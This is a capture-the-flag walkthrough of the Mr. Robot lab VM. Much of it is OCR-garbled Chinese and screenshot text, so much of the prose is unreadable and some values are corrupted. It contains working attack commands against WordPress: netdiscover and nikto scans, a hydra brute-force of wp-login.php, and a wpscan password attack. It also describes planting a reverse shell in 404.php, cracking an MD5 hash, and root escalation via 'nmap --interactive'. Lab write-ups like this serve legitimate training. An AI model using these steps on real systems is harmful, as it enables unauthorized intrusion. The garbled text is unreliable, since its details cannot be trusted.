mrRobot CTF Walkthrough Writeup
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. Hinetdiscover /X8l HbaHLHIIP: 192.168.164.164.

:~# netdiscover -r 192.168.164.0/24

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP At MAC Address Count Len MAC Vendor / Hostname
192.168.164.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.164.2 00:50:56:2a8:89:40 1 60 VMware, Inc.
192.168.164.164 00:0¢c:29:92:42:2b 1 60 VMware, Inc.
192.168.164.254 00:50:56:f0:ee:ba i 60 VMware, Inc.
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5 Most Visitedv flOffensive Security " Kali Linux “ Kali Docs “ Kali Tools = Exploit-DB W Aircrack-ng fiKali Forums % NetHunter @ Getting Started

voice.

Hello friend. If you've come, you've come for a reason. You may not be able to explain it yet,
but there's a part of you that's exhausted with this world... a world that decides where you work, who you see,
and how you empty and fill your depressing bank account. Even the Internet connection you're using to read this is
costing you, slowly chipping away at your existence. There are things you want to say. Soon I will give you a
Today your education begins.

Commands:
prepare
fsociety

inform

gquestion

wakeup
join

root@rsoclety:~# Nl

1. 1.

[l P nikto F3##51Z% E AL,

:~# nikto -h 192.168.164.164
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+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x2
9 0x52467010ef8ad

RILE 48 Hwordpress.

1. 1. Vjll/robots.txt 15 F|Key 11— 4,

2-1 i A\wordpress|1JH /7 & it Ft 1,  FH Burp suitedUHhttp-post-formfi i .

2-2 ffifhydra, tR¥Eresponsef I Al , HEATH P44 B LA .

root@kali:~# hydra -V IL fsocity.dic -p 123 192.168.164.164 http-post-form '/wp-
login.php:log="USER"&pwd="PASS"&wp-submit=Log+In:F=Invalid username'

2-3 32 /4 NElliot, FA# Fwpscanidt AT 2 i (1) - SR i .

root@kali:~# wpscan --url 192.168.164.164 --wordlist /root/Desktop/mrRobot/wordl
ist.dic --username Elliot

2-4 133 #%15ER28-0652, *Flitiwordpress, &I ZadmintliE.

2-5 #4404.phpH#i fyreverse shell.php.

2-6 AT FEncEE RN . Vi H/404.php.

2-7 BIhik NJ5, K Bi/home/robot F Hkey 2. (ERBRA AL,

2-8 password.md5-raw/& ] 2], 7Ecrackstation.net R AR, 3% 1l Jrobotft 255
abcdefghijklmnopqgrstuvwxyz.

2-9 Y F plkirobot, IR EL T key 2.

3-1 BARIMEIR UK root. & Hnmap 5 roothi i .

3-2 nmap —interactive
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R 7% & yroot.

3-3 fE/root F 4% T key_3.
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